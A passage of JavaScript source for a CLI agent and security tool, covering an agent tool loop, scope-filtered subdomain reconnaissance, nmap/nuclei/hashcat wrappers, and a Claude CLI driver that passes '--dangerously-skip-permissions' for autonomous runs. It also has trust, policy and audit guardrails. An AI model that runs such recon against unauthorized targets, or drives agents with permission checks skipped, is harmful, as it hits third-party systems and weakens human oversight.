          else { fs.writeFileSync(fp, a.replace_all ? t.split(a.find).join(a.replace == null ? "" : a.replace) : t.replace(a.find, a.replace == null ? "" : a.replace)); changed.push({ path: fp, before: t, label: "edit " + a.path }); result = "ok"; console.log("  " + green("✏️  edit ") + gray(a.path)); } }
        }
        else if (name === "run_command") {
          if (!(await approve("run: " + a.command))) { result = "denied"; console.log("  " + red("denied ") + a.command); }
          else { console.log("  " + mag("⚡ $ ") + a.command.slice(0, 100)); const r = await coderShell(a.command, cwd); result = (r.code ? "exit " + r.code + "\n" : "") + (r.output || "(no output)"); if (r.output && !printMode) console.log(r.output.split("\n").slice(0, 8).map((l) => "    " + gray(l)).join("\n") + (r.output.split("\n").length > 8 ? "\n    " + gray("... +" + (r.output.split("\n").length - 8) + " more lines") : "")); }
        }
        else { result = "error: unknown tool " + name; }
      } catch (e) { result = "error: " + e.message; }
      if (["read_file", "write_file", "edit_file", "list_dir", "run_command"].includes(name)) didTool = true;
      messages.push({ role: "tool", content: String(result).slice(0, 8000) });
      if (step >= (lean ? 12 : 25)) console.log("  " + red("(step limit reached)"));
    }
    if (printMode) return;
  }
}

// ==================== Nexus autonomous orchestrator (multi-level planning, overnight) ====================
const _cp = require("child_process");
// Detect an installed tool by looking for the executable on PATH (memoized).
// Old impl executed `<bin> --version` — ~85ms each for a Node-based tool like
// claude, run 13× per launch. A PATH stat is ~0.03ms and just as accurate for
// "is it installed", cutting a big chunk off TUI startup.
const _binCache = Object.create(null);
function hasBin(b) {
  if (b in _binCache) return _binCache[b];
  const fs = require("fs"), path = require("path");
  const exts = process.platform === "win32" ? (process.env.PATHEXT || ".EXE;.CMD;.BAT;.COM").split(";") : [""];
  for (const d of (process.env.PATH || "").split(path.delimiter)) {
    if (!d) continue;
    for (const e of exts) { try { fs.accessSync(path.join(d, b + e), fs.constants.X_OK); return (_binCache[b] = true); } catch (_) {} }
  }
  return (_binCache[b] = false);
}

// Run an external tool with inherited stdio (streams its output live). Used by
// the nmap / nuclei / hashcat wrappers.
function runTool(bin, args) { return new Promise((res) => { let p; try { p = spawn(bin, args, { stdio: "inherit" }); } catch (e) { console.log(red(bin + ": " + e.message)); return res(1); } p.on("close", (c) => res(c || 0)); p.on("error", (e) => { console.log(red(bin + ": " + e.message)); res(1); }); }); }

// Chained recon: passive subdomains (crt.sh) -> resolve A -> live HTTP probe.
// Reuses the existing subs()/headers() primitives; concurrency-capped.
async function subrecon(domain, filter) {
  domain = (domain || "").trim().replace(/^https?:\/\//, "").replace(/\/.*$/, "");
  if (!domain) { console.log("usage: darknode subrecon <domain>"); return; }
  console.log(cyan("subrecon " + domain) + gray("  passive subdomains → resolve → live HTTP"));
  let list = [];
  try { const r = await subs(domain); if (Array.isArray(r)) list = r; else if (r && r.err) { console.log(r.err); return; } } catch (e) { console.log(red(String((e && e.message) || e))); return; }
  list = [...new Set(list.map((s) => String(s).trim().toLowerCase()).filter(Boolean))];
  if (filter) { const f = filter(list); list = f.allowed; if (f.dropped.length) console.log(yellow("  " + f.dropped.length + " discovered host(s) are outside the authorized scope and were NOT probed")); }
  if (!list.length) { console.log(gray("no in-scope subdomains found via crt.sh")); return; }
  const cap = 80, targets = list.slice(0, cap);
  console.log(gray(list.length + " found" + (list.length > cap ? " · probing first " + cap : "") + " …\n"));
  const dnsp = require("dns").promises;
  const check = async (h) => { let ip = ""; try { ip = ((await dnsp.resolve4(h)) || [])[0] || ""; } catch (_) {} let status = ""; if (ip) { for (const scheme of ["https", "http"]) { try { const r = await headers(scheme + "://" + h); if (r && !r.err && r.status) { status = scheme.toUpperCase() + " " + r.status; break; } } catch (_) {} } } return { h, ip, status }; };
  const results = [], q = targets.slice();
  await Promise.all(Array.from({ length: 12 }, async () => { let h; while ((h = q.shift()) !== undefined) results.push(await check(h)); }));
  const live = results.filter((r) => r.status).sort((a, b) => a.h.localeCompare(b.h));
  const resolved = results.filter((r) => r.ip && !r.status);
  const dead = results.filter((r) => !r.ip);
  console.log(green("● live (" + live.length + ")"));
  live.forEach((r) => console.log("  " + r.h.padEnd(42) + gray(r.ip.padEnd(17)) + r.status));
  if (resolved.length) { console.log(gray("\n○ resolves, no HTTP (" + resolved.length + ")")); resolved.slice(0, 40).forEach((r) => console.log("  " + gray(r.h.padEnd(42) + r.ip))); }
  console.log(gray("\n" + dead.length + " did not resolve · " + list.length + " total subdomains"));
}

// Delegate a whole task to an external agent binary (claude / opencode). Streams output; returns {ok, output}.
function runEngineTask(engine, prompt, cwd, autonomous, cont, onChunk, ctl, model, effort) {
  return new Promise((resolve) => {
    const m = ENGINES[engine];
    // Only this engine's own args() builds its flags — nothing crosses engines.
    // The "local" (Ollama) engine has no CLI form and is driven separately.
    if (!m || !m.args || m.kind === "local") return resolve({ ok: false, output: "engine '" + engine + "' cannot run as a CLI task" });
    const cmd = m.bin, args = m.args(prompt, { cont, autonomous, model, effort });
    let out = "";
    const p = _cp.spawn(cmd, args, { cwd, env: process.env });
    if (ctl && ctl.kids) ctl.kids.push(() => { try { p.kill("SIGINT"); } catch (_) {} setTimeout(() => { try { p.kill("SIGKILL"); } catch (_) {} }, 1200); }); // let ctrl+c kill this child
    try { p.stdin.end(); } catch (_) {} // signal EOF so the CLI doesn't wait on stdin
    p.stdout.on("data", (d) => { const s = d.toString(); out += s; if (onChunk) onChunk(s); else process.stdout.write(gray("    " + s.replace(/\n/g, "\n    "))); });
    p.stderr.on("data", (d) => (out += d.toString()));
    const to = setTimeout(() => { try { p.kill("SIGKILL"); } catch (_) {} }, 40 * 60 * 1000);
    p.on("close", (code) => { clearTimeout(to); resolve({ ok: code === 0, output: out.slice(-12000) }); });
    p.on("error", (e) => { clearTimeout(to); resolve({ ok: false, output: "engine spawn error: " + e.message + " (is '" + engine + "' installed & logged in?)" }); });
  });
}
// Claude Code stream-json driver — parses NDJSON events so the TUI can render
// tool cards, live token usage, cost and context size exactly like Claude Code.
function runClaudeStream(prompt, cwd, cont, h, ctl, opts) {
  opts = opts || {};
  return new Promise((resolve) => {
    const args = opts.readonly ? ["-p", prompt, "--output-format", "stream-json", "--verbose", "--permission-mode", "plan"] : ["-p", prompt, "--output-format", "stream-json", "--verbose", "--dangerously-skip-permissions"];
    if (cont) args.push("--continue");
    if (opts.model) args.push("--model", opts.model);
    if (opts.effort) args.push("--effort", opts.effort);
    if (opts.appendSystemPrompt) args.push("--append-system-prompt", opts.appendSystemPrompt);
    if (opts.fallbackModel) args.push("--fallback-model", opts.fallbackModel);
    if (opts.maxBudgetUsd) args.push("--max-budget-usd", String(opts.maxBudgetUsd));
    if (opts.maxTurns) args.push("--max-turns", String(opts.maxTurns));
    if (opts.disallow && opts.disallow.length) args.push("--disallowed-tools", ...opts.disallow);
    const env = opts.small ? Object.assign({}, process.env, { ANTHROPIC_SMALL_FAST_MODEL: opts.small, CLAUDE_CODE_BG_CLASSIFIER_MODEL: opts.small }) : process.env;
    const cp = _cp.spawn("claude", args, { cwd, env });
    try { cp.stdin.end(); } catch (_) {} // signal EOF so claude doesn't wait on stdin
    let buf = "", finalText = "", res = null, killed = false;
    if (ctl) ctl.kill = () => { killed = true; try { cp.kill("SIGINT"); } catch (_) {} setTimeout(() => { try { cp.kill("SIGKILL"); } catch (_) {} }, 1500); };
    cp.stdout.on("data", (d) => {
      buf += d.toString();
      let nl;
      while ((nl = buf.indexOf("\n")) >= 0) {
        const line = buf.slice(0, nl); buf = buf.slice(nl + 1);
        if (!line.trim()) continue;
        let ev; try { ev = JSON.parse(line); } catch (_) { continue; }
        if (ev.type === "system" && ev.subtype === "init") { h.onInit && h.onInit(ev); }
        else if (ev.type === "rate_limit_event") { h.onRateLimit && h.onRateLimit(ev.rate_limit_info || {}); }
        else if (ev.type === "assistant" && ev.message) {
          for (const c of ev.message.content || []) {
            if (c.type === "text" && c.text) { finalText += c.text; h.onText && h.onText(c.text); }
            else if (c.type === "thinking" && c.thinking) { h.onThinking && h.onThinking(c.thinking); }
            else if (c.type === "tool_use") { h.onTool && h.onTool({ id: c.id, name: c.name, input: c.input || {} }); }
          }
          if (ev.message.usage) h.onUsage && h.onUsage(ev.message.usage, ev.message.model);
        }
        else if (ev.type === "user" && ev.message) {
          for (const c of ev.message.content || []) if (c.type === "tool_result") h.onToolResult && h.onToolResult({ id: c.tool_use_id, content: c.content, isError: c.is_error });
        }
        else if (ev.type === "result") { res = ev; if (ev.result && !finalText.trim()) finalText = ev.result; h.onResult && h.onResult(ev); }
      }
    });
    cp.stderr.on("data", () => {});
    const to = setTimeout(() => { try { cp.kill("SIGKILL"); } catch (_) {} }, 40 * 60 * 1000);
    cp.on("close", (code) => { clearTimeout(to); resolve({ ok: code === 0 && !killed, interrupted: killed, output: finalText, result: res }); });
    cp.on("error", (e) => { clearTimeout(to); resolve({ ok: false, output: "engine spawn error: " + e.message + " (is claude installed & logged in?)" }); });
  });
}
// Safe, non-destructive git checkpoint (captures tracked + untracked into a tree
// object using a temp index; never touches HEAD/index/history). /undo restores
// tracked file contents to the snapshot and never deletes anything.
function nexusCheckpoint(cwd) {
  try {
    const path = require("path"), fs = require("fs");
    _cp.execSync("git rev-parse --is-inside-work-tree", { cwd, stdio: "ignore" });
    const idx = path.join(cwd, ".nexus", "ckpt.index");
    fs.mkdirSync(path.join(cwd, ".nexus"), { recursive: true });
    try { fs.unlinkSync(idx); } catch (_) {}
    const env = Object.assign({}, process.env, { GIT_INDEX_FILE: idx });
    _cp.execSync("git add -A", { cwd, env, stdio: "ignore" });
    try { _cp.execSync("git rm -r --cached --ignore-unmatch --quiet .nexus", { cwd, env, stdio: "ignore" }); } catch (_) {} // never snapshot/restore Nexus's own state dir
    const tree = _cp.execSync("git write-tree", { cwd, env }).toString().trim();
    try { fs.unlinkSync(idx); } catch (_) {}
    return tree || null;
  } catch (_) { return null; }
}
// Restore a snapshot. If `paths` is given (repo-relative), restore ONLY those files
// (via a throwaway commit) so unrelated manual edits are never clobbered. Otherwise
// full-tree restore (fallback). Returns true on success.
function nexusRestore(cwd, tree, paths) {
  try {
    const path = require("path"), fs = require("fs");
    if (!paths || !paths.length) return true; // never full-clobber the tree — only restore files Nexus recorded changing
    const commit = _cp.execSync("git commit-tree " + tree + " -m nexus-restore", { cwd, encoding: "utf8" }).trim();
    const present = [], created = [];
    for (const p of paths) { try { _cp.execSync("git cat-file -e " + commit + ":./" + p.replace(/"/g, ""), { cwd, stdio: "ignore" }); present.push(p); } catch (_) { created.push(p); } }
    if (present.length) _cp.execSync("git checkout " + commit + " -- " + present.map((p) => JSON.stringify(p)).join(" "), { cwd, stdio: "ignore" });
    for (const p of created) { try { fs.rmSync(path.resolve(cwd, p), { force: true }); } catch (_) {} } // files the turn created → remove them on undo
    return true;
  } catch (_) { return false; }
}
// ---------- Workspace trust ----------
// A repo's .nexus/mcp.json (MCP servers) and hooks.json BOTH run commands, so merely
// launching Nexus inside an untrusted clone could execute arbitrary code. We only honor
// them for repos the operator has explicitly trusted. Trust lives OUTSIDE the repo
// (~/.darknode/trusted-repos.json) so a malicious repo can't mark itself trusted.
let _untrustedRepoConfig = false;
function trustFile() { return require("path").join(darknodeHome(), "trusted-repos.json"); }
function isRepoTrusted(cwd) {
  if (process.env.DARKNODE_TRUST_REPO === "1") return true;
  try { const list = JSON.parse(require("fs").readFileSync(trustFile(), "utf8")); return Array.isArray(list) && list.includes(require("path").resolve(cwd)); } catch (_) { return false; }
}
function trustRepo(cwd) {
  try { const fs = require("fs"); let list = []; try { list = JSON.parse(fs.readFileSync(trustFile(), "utf8")); } catch (_) {} if (!Array.isArray(list)) list = []; const rp = require("path").resolve(cwd); if (!list.includes(rp)) list.push(rp); fs.writeFileSync(trustFile(), JSON.stringify(list, null, 2)); return true; } catch (_) { return false; }
}
// ---------- MCP (Model Context Protocol): minimal dependency-free JSON-RPC-2.0 stdio client ----------
function loadMcpConfig(cwd) {
  const fs = require("fs"), path = require("path");
  for (const f of [path.join(cwd, ".nexus", "mcp.json"), path.join(cwd, ".mcp.json")]) {
    try { const j = JSON.parse(fs.readFileSync(f, "utf8")); if (j && j.mcpServers && Object.keys(j.mcpServers).length) {
      if (!isRepoTrusted(cwd)) { _untrustedRepoConfig = true; return null; }   // don't spawn servers from an untrusted repo
      return j.mcpServers;
    } } catch (_) {}
  }
  return null;
}
function mcpConnect(name, spec, cwd) {
  return new Promise((resolve) => {
    let cp; try { cp = _cp.spawn(spec.command, spec.args || [], { cwd, env: Object.assign({}, process.env, spec.env || {}), stdio: ["pipe", "pipe", "ignore"] }); } catch (e) { return resolve({ name, error: e.message }); }
    let buf = "", idc = 0; const pending = {};
    cp.stdout.on("data", (d) => { buf += d.toString(); let nl; while ((nl = buf.indexOf("\n")) >= 0) { const line = buf.slice(0, nl); buf = buf.slice(nl + 1); if (!line.trim()) continue; let m; try { m = JSON.parse(line); } catch (_) { continue; } if (m.id != null && pending[m.id]) { pending[m.id](m); delete pending[m.id]; } } });
    cp.on("error", () => {});
    const call = (method, params) => new Promise((res, rej) => { const id = ++idc; pending[id] = (m) => m.error ? rej(new Error(m.error.message || "mcp error")) : res(m.result); try { cp.stdin.write(JSON.stringify({ jsonrpc: "2.0", id, method, params: params || {} }) + "\n"); } catch (e) { return rej(e); } setTimeout(() => { if (pending[id]) { delete pending[id]; rej(new Error("mcp timeout")); } }, 20000); });
    const notify = (method, params) => { try { cp.stdin.write(JSON.stringify({ jsonrpc: "2.0", method, params: params || {} }) + "\n"); } catch (_) {} };
    (async () => {
      try {
        await call("initialize", { protocolVersion: "2024-11-05", capabilities: {}, clientInfo: { name: "nexus", version: "1.0" } });
        notify("notifications/initialized", {});
        const tl = await call("tools/list", {});
        resolve({ name, cp, call, tools: (tl && tl.tools) || [] });
      } catch (e) { try { cp.kill(); } catch (_) {} resolve({ name, error: e.message }); }
    })();
  });
}
// ---------- Hooks: run project-defined shell commands around events (Claude-Code style) ----------
function loadHooks(cwd) { const fs = require("fs"), path = require("path"); try { const h = JSON.parse(fs.readFileSync(path.join(cwd, ".nexus", "hooks.json"), "utf8")); if (h && Object.keys(h).length && !isRepoTrusted(cwd)) { _untrustedRepoConfig = true; return null; } return h; } catch (_) { return null; } }

// ================= enterprise guardrails: policy + audit =================
// A declarative, per-project security policy the agent is HELD TO — protected
// paths it can't touch, commands it can't run, a per-turn write ceiling, secret-
// write blocking, and a tamper-evident audit trail. Local-agent tool calls are
// enforced hard (we execute them); the cloud engine gets the policy injected into
// its system prompt plus the existing plan-mode / disallowed-tools controls.
const { POLICY_DEFAULTS, policyCheck, auditLog, auditVerify } = require("./lib/governance/policy"); // guardrails engine (lib/policy.js)
const { appendUsage, loadUsage, summarize, renderReport, analyzeSavings, renderSavings } = require("./lib/governance/usage"); // cost/usage ledger + chargeback report + savings analysis (lib/usage.js)
const { resolveOperator } = require("./lib/governance/identity"); // operator/team attribution — SSO env → config → OS user (lib/identity.js)
const { buildBundle, verifyBundle, renderBundleMd } = require("./lib/governance/compliance"); // signed audit+usage compliance bundle (lib/compliance.js)
const { validatePolicy, validateTeam } = require("./lib/cli/validate"); // config validation (lib/validate.js)
// Read + validate the raw .nexus/policy.json and ~/.darknode/policy.json; returns warning strings.
function policyWarnings(cwd) { const fs = require("fs"), path = require("path"); const w = []; for (const [label, p] of [["local .nexus/policy.json", path.join(cwd, ".nexus", "policy.json")], ["org ~/.darknode/policy.json", path.join(darknodeHome(), "policy.json")]]) { let raw; try { raw = fs.readFileSync(p, "utf8"); } catch (_) { continue; } let obj; try { obj = JSON.parse(raw); } catch (e) { w.push(label + ": invalid JSON (" + e.message + ")"); continue; } for (const m of validatePolicy(obj)) w.push(label + ": " + m); } return w; }
// Two-tier policy: an ORG floor at ~/.darknode/policy.json (set by an admin) that a
// local .nexus/policy.json can only make STRICTER, never weaken — protected paths and
// denied commands union, boolean guards ratchet on, and the file limit takes the min.
function loadPolicy(cwd) {
  const fs = require("fs"), path = require("path");
  const read = (p) => { try { return JSON.parse(fs.readFileSync(p, "utf8")) || {}; } catch (_) { return {}; } };
  const org = read(path.join(darknodeHome(), "policy.json"));
  const local = read(path.join(cwd, ".nexus", "policy.json"));
  const uniq = (a) => [...new Set(a.filter(Boolean))];
  const p = Object.assign({}, POLICY_DEFAULTS, local, org); // org wins on any scalar it sets
  p.protectedPaths = uniq([].concat(POLICY_DEFAULTS.protectedPaths, local.protectedPaths || [], org.protectedPaths || []));
  p.deniedCommands = uniq([].concat(local.deniedCommands || [], org.deniedCommands || []));
  p.requireApprovalPaths = uniq([].concat(local.requireApprovalPaths || [], org.requireApprovalPaths || []));
  const floorBool = (key) => org[key] === true ? true : (local[key] !== undefined ? local[key] : POLICY_DEFAULTS[key]);
  p.blockSecrets = floorBool("blockSecrets"); p.audit = floorBool("audit");
  p.allowNetwork = org.allowNetwork === false ? false : (local.allowNetwork !== undefined ? local.allowNetwork : POLICY_DEFAULTS.allowNetwork);
  const lm = local.maxFilesPerTurn || 0, om = org.maxFilesPerTurn || 0; p.maxFilesPerTurn = om > 0 ? (lm > 0 ? Math.min(om, lm) : om) : lm;
  p.org = Object.keys(org).length > 0; // org policy present → shown in /policy, can't be relaxed here
  return p;
}
function runHooks(hooks, event, env, cwd) {
  const list = (hooks && hooks[event]) || [];
  for (const h of list) {
    if (!h || !h.command) continue;
    try { if (h.matcher && env.TOOL_NAME && !(new RegExp(h.matcher).test(env.TOOL_NAME))) continue; } catch (_) { continue; } // bad matcher regex must not crash the turn
    try { const r = _cp.spawnSync(h.command, { shell: true, cwd, env: Object.assign({}, process.env, env), encoding: "utf8", timeout: (h.timeout || 15) * 1000 }); if (r.status && r.status !== 0) return { block: true, out: ((r.stdout || "") + (r.stderr || "")).trim().slice(0, 400) }; } catch (_) {} }
  return { block: false };
}
// build an AbortSignal wired to a ctl's kill list (so ctrl+c aborts in-flight ollama requests)
function ctlSignal(ctl) { if (!ctl || !ctl.kids) return undefined; const ac = new AbortController(); ctl.kids.push(() => { try { ac.abort(); } catch (_) {} }); return ac.signal; }
// ---------- Parallel sub-agents: fan a list of independent tasks out across the current engine ----------
async function runSubagents(engine, tasks, cwd, model, onProgress, ctl, pickModel) {
  const path = require("path"), fs = require("fs"), os = require("os");
  const results = new Array(tasks.length);
  // Isolate each concurrent agent in its own git worktree so parallel writers can't
  // corrupt each other; merge their changes back sequentially at the end.
  let baseCommit = null, isGit = false;
  try { _cp.execSync("git rev-parse --is-inside-work-tree", { cwd, stdio: "ignore" }); isGit = true; } catch (_) {}
  if (isGit) { try { const tree = nexusCheckpoint(cwd); if (tree) baseCommit = _cp.execSync("git commit-tree " + tree + " -m nexus-agents-base", { cwd, encoding: "utf8" }).trim(); } catch (_) {} }
  const useWt = !!(isGit && baseCommit);
  const worktrees = new Array(tasks.length).fill(null);
  const stamp = Date.now().toString(36);
  const removeWt = (wt) => { try { _cp.execSync("git worktree remove --force " + JSON.stringify(wt), { cwd, stdio: "ignore" }); } catch (_) { try { fs.rmSync(wt, { recursive: true, force: true }); } catch (__) {} } };
  const runOne = async (i) => {
    if (ctl && ctl.stopped) { results[i] = "(interrupted)"; if (onProgress) onProgress(i, "done"); return; }
    if (onProgress) onProgress(i, "run");
    let dir = cwd;
    if (useWt) { const wt = path.join(os.tmpdir(), "nexus-agent-" + stamp + "-" + i); try { _cp.execSync("git worktree add --detach " + JSON.stringify(wt) + " " + baseCommit, { cwd, stdio: "ignore" }); worktrees[i] = dir = wt; } catch (_) { dir = cwd; } }
    let out;
    try { if (engine === "ollama") { const r = await ollamaExec(model, tasks[i], "", dir, ctlSignal(ctl)); out = (r.output || "").trim(); } else { const r = await runEngineTask(engine, tasks[i], dir, true, false, null, ctl, pickModel ? pickModel(tasks[i]) : undefined); out = (r.output || "").trim(); } }
    catch (e) { out = "error: " + e.message; }
    results[i] = out; if (onProgress) onProgress(i, "done");
  };
  // With isolation, agents run concurrently; without it (no git, or ollama), serialize to avoid corrupting the shared dir.
  const conc = useWt ? Math.max(1, Math.min(4, tasks.length)) : 1;
  let idx = 0; async function worker() { while (idx < tasks.length) { await runOne(idx++); } }
  try { await Promise.all(Array.from({ length: conc }, worker)); }
  finally {
    if (useWt) {
      const claimed = new Map(), conflicts = [];
      for (let i = 0; i < tasks.length; i++) { const wt = worktrees[i]; if (!wt) continue;
        try { const status = _cp.execSync("git -C " + JSON.stringify(wt) + " status --porcelain -uall", { encoding: "utf8" });
          for (const line of status.split("\n")) { if (!line.trim()) continue; const st = line.slice(0, 2); let p = line.slice(3); if (p.includes(" -> ")) { const old = p.split(" -> ")[0].replace(/^"|"$/g, ""); try { fs.rmSync(path.join(cwd, old), { force: true }); } catch (_) {} p = p.split(" -> ")[1]; } p = p.replace(/^"|"$/g, "");
            if (claimed.has(p)) { conflicts.push(p); continue; }
            claimed.set(p, i); const src = path.join(wt, p), dst = path.join(cwd, p);
            try { if (/D/.test(st) && !fs.existsSync(src)) fs.rmSync(dst, { force: true }); else if (fs.existsSync(src)) { fs.mkdirSync(path.dirname(dst), { recursive: true }); fs.copyFileSync(src, dst); } } catch (_) {}
          }
        } catch (_) {}
      }
      for (const wt of worktrees) if (wt) removeWt(wt);
      if (conflicts.length) { const u = [...new Set(conflicts)]; const note = "\n\n[merge: " + u.length + " file(s) were edited by more than one agent — kept the first writer, skipped the rest: " + u.slice(0, 8).join(", ") + "]"; const last = results.length - 1; results[last] = (results[last] || "") + note; }
    }
  }
  return results;
}
// Secret scanner — flags common leaked credentials in text/files (Nexus is a security tool).
const { scanSecrets, maskSecrets, classifyDanger, compactOutput } = require("./lib/governance/security"); // security utils (lib/security.js)
// ---- permission rules (allow/deny) — a Claude-Code-style allowlist for the local agent ----
// A rule is "tool", "tool:glob" (glob on the command/path/url), or "Bash(glob)" (= run_command),
// plus "*" wildcard. deny wins over allow; an allow rule auto-approves & bypasses the Darknode guard.
// synonym → canonical tool name, so a rule written for any alias matches the tool
// the agent actually invokes (e.g. rule "web_fetch" matches the invoked "http_fetch").
const PERM_CANON = { run_command: "run_command", run_background: "run_command", bash: "run_command", shell: "run_command", cmd: "run_command", write_file: "write_file", write: "write_file", edit_file: "edit_file", edit: "edit_file", read_file: "read_file", read: "read_file", delete: "delete", delete_file: "delete", rm: "delete", http_fetch: "web_fetch", web_fetch: "web_fetch", fetch_url: "web_fetch", http: "web_fetch", web_search: "web_search", search_web: "web_search", google: "web_search" };
const permCanon = (t) => PERM_CANON[String(t || "").toLowerCase()] || String(t || "").toLowerCase();
function permMatch(rule, name, a) {
  let r = String(rule || "").trim(); if (!r) return false;
  const bm = /^Bash\((.*)\)$/i.exec(r); if (bm) r = "run_command:" + bm[1];
  const ix = r.indexOf(":"); const rtool = ix < 0 ? r : r.slice(0, ix); const rpat = ix < 0 ? "" : r.slice(ix + 1);
  const tool = name;
  if (rtool.trim() !== "*" && permCanon(rtool) !== permCanon(tool)) return false;
  if (!rpat || rpat === "*") return true;
  const target = String(a.command || a.path || a.to || a.dest || a.url || a.query || "");
  if (rpat.includes("*")) { try { return new RegExp("^" + rpat.split("*").map((s) => s.replace(/[.+?^${}()|[\]\\]/g, "\\$&")).join(".*")).test(target); } catch (_) { return false; } }
  return target.toLowerCase().includes(rpat.toLowerCase());
}
function permDecision(perms, name, a) {
  if (!perms) return null;
  for (const r of (perms.deny || [])) if (permMatch(r, name, a)) return "deny";
  for (const r of (perms.allow || [])) if (permMatch(r, name, a)) return "allow";
  return null;
}
const { allStyles } = require("./lib/cli/styles"); // output styles, built-in + .nexus/styles/*.md (lib/styles.js)
const { mergeMemory } = require("./lib/nexus/memory"); // agent `remember` dedup (lib/memory.js)
const { TOOL_CATALOG, discoverTools } = require("./lib/nexus/tools"); // agent tool catalog + discover (lib/tools.js)
const { buildRepoMap, renderRepoMap, findSymbol } = require("./lib/nexus/repo-map"); // ranked file tree + symbol outline (lib/repo-map.js)
const { applyEditsFlexible, parsePatch, applyHunks } = require("./lib/nexus/edit"); // atomic multi-edit + flexible match + patch (lib/edit.js)
const { detectProjectCommands, pickVerify } = require("./lib/nexus/verify"); // detect test/build/lint commands (lib/verify.js)
const { scanProject: radarScan } = require("./lib/nexus/code-radar"); // codebase complexity/hotspot radar
const { autoReview } = require("./lib/nexus/code-review-auto"); // fast rule-based reviewer (no LLM)
const { explainDiff } = require("./lib/nexus/code-diff-explain"); // semantic diff explainer
const { generateTests } = require("./lib/nexus/smart-test"); // structure-aware test scaffolder
const { MCP_CATALOG, catalogGet, isBundled, bundledSpecs, addServerToConfig, removeServerFromConfig } = require("./lib/nexus/mcp-catalog"); // one-command + bundled MCP servers (lib/mcp-catalog.js)
const { squeezeContext, cacheKey, cacheGet, cachePut, cacheClear, cacheStats } = require("./lib/nexus/costsave"); // extra cost savers (lib/costsave.js)
const CACHE_TTL = 24 * 3600 * 1000; // response-cache entries expire after 24h
const { TAGS: TODO_TAGS, scanTree: scanTodos, summarizeTodos, rankTodos } = require("./lib/nexus/todos"); // tech-debt marker scanner (lib/nexus/todos.js)
const { summarizeStats, rankedLangs, scanStats } = require("./lib/nexus/codestats"); // codebase overview (lib/nexus/codestats.js)
const { indexFiles: capIndexFiles, renderIndex: capRenderIndex } = require("./lib/nexus/capindex"); // capability/requirements index (lib/nexus/capindex.js)
const { evaluateAction: guardAction } = require("./lib/nexus/guardrails"); // unified action gate: policy+danger+secrets (lib/nexus/guardrails.js)
const { auditDeps, scanImports } = require("./lib/nexus/deps"); // dependency hygiene audit (lib/nexus/deps.js)
const { auditEnv, readEnvFiles, scanEnvTree } = require("./lib/nexus/envaudit"); // env-var hygiene audit (lib/nexus/envaudit.js)
const { buildReviewPrompt, countBySeverity, SEVERITY } = require("./lib/nexus/review"); // multi-lens /ultrareview (lib/nexus/review.js)
const { parseCommits, renderChangelog } = require("./lib/nexus/changelog"); // release-notes generator (lib/nexus/changelog.js)
const { createBgJobs } = require("./lib/nexus/bgjobs"); // background command jobs (lib/bgjobs.js)
const { describe: describeSettings } = require("./lib/cli/settings"); // /settings panel schema (lib/settings.js)
// Extended device tools for the local agent: content search, file find, HTTP fetch,
// system info, process list, and filesystem management. Returns a result object,
// or null if `name` isn't a device tool (so the caller can fall through).
const AGENT_TODOS = []; // the agent's live task checklist (todo_write), like Claude Code's TodoWrite
async function deviceTool(name, a, cwd) {
  const fs = require("fs"), path = require("path"), os = require("os");
  const rp = (p) => { const r = path.resolve(cwd, p == null ? "." : p); if (r !== cwd && !r.startsWith(cwd + path.sep)) throw new Error("path escapes the project directory: " + p); return r; }; // sandbox all device-tool file ops to cwd
  const SKIP = /(^|\/)(\.git|node_modules|dist|build|\.nexus|\.cache)(\/|$)/;
  if (name === "search" || name === "grep") {
    const pat = a.pattern || a.query || a.q; if (!pat) return { error: "search needs a pattern" };
    let re; try { re = new RegExp(pat, "i"); } catch (_) { re = new RegExp(String(pat).replace(/[.*+?^${}()|[\]\\]/g, "\\$&"), "i"); }
    const out = []; const walk = (d) => { if (out.length >= 100) return; let ents; try { ents = fs.readdirSync(d, { withFileTypes: true }); } catch (_) { return; } for (const e of ents) { const fp = path.join(d, e.name); if (SKIP.test(fp)) continue; if (e.isDirectory()) walk(fp); else { let txt; try { if (fs.statSync(fp).size > 500000) continue; txt = fs.readFileSync(fp, "utf8"); } catch (_) { continue; } const lines = txt.split("\n"); for (let i = 0; i < lines.length && out.length < 100; i++) if (re.test(lines[i])) out.push(path.relative(cwd, fp) + ":" + (i + 1) + ": " + lines[i].trim().slice(0, 160)); } if (out.length >= 100) return; } };
    walk(rp(a.path || ".")); return { matches: out, truncated: out.length >= 100 };
  }
  if (name === "find" || name === "find_files" || name === "glob") {
    const q = String(a.glob || a.pattern || a.name || "").toLowerCase(); const out = [];
    const walk = (d) => { if (out.length >= 300) return; let ents; try { ents = fs.readdirSync(d, { withFileTypes: true }); } catch (_) { return; } for (const e of ents) { const fp = path.join(d, e.name); if (SKIP.test(fp)) continue; if (e.isDirectory()) walk(fp); else if (!q || e.name.toLowerCase().includes(q)) { out.push(path.relative(cwd, fp)); if (out.length >= 300) return; } } };
    walk(rp(a.path || ".")); return { files: out };
  }
  if (name === "http_fetch" || name === "web_fetch" || name === "fetch_url" || name === "http") {
    const url = a.url; if (!url) return { error: "http_fetch needs a url" };
    return await new Promise((resolve) => { try { const lib = String(url).startsWith("https") ? require("https") : require("http"); const req = lib.request(url, { method: a.method || "GET", headers: a.headers || {}, timeout: 15000 }, (res) => { let d = ""; res.on("data", (c) => { if (d.length < 200000) d += c; }); res.on("end", () => resolve({ status: res.statusCode, contentType: res.headers["content-type"], body: d.slice(0, 20000) })); }); req.on("timeout", () => { req.destroy(); resolve({ error: "timeout" }); }); req.on("error", (e) => resolve({ error: e.message })); if (a.body != null) req.write(typeof a.body === "string" ? a.body : JSON.stringify(a.body)); req.end(); } catch (e) { resolve({ error: e.message }); } });
  }
  if (name === "sysinfo" || name === "system_info") {
    let disk = ""; try { disk = _cp.execSync("df -h " + JSON.stringify(cwd) + " 2>/dev/null", { encoding: "utf8" }).trim().split("\n").slice(-1)[0]; } catch (_) {}
    const c = os.cpus()[0] || {};
    return { platform: os.platform(), arch: os.arch(), release: os.release(), hostname: os.hostname(), cpus: os.cpus().length + " x " + (c.model || "?"), memory: (os.totalmem() / 1e9).toFixed(1) + "GB total, " + (os.freemem() / 1e9).toFixed(1) + "GB free", loadavg: os.loadavg().map((n) => n.toFixed(2)).join(" "), uptime: (os.uptime() / 3600).toFixed(1) + "h", cwd, node: process.version, disk };
  }
  if (name === "list_processes" || name === "ps") {
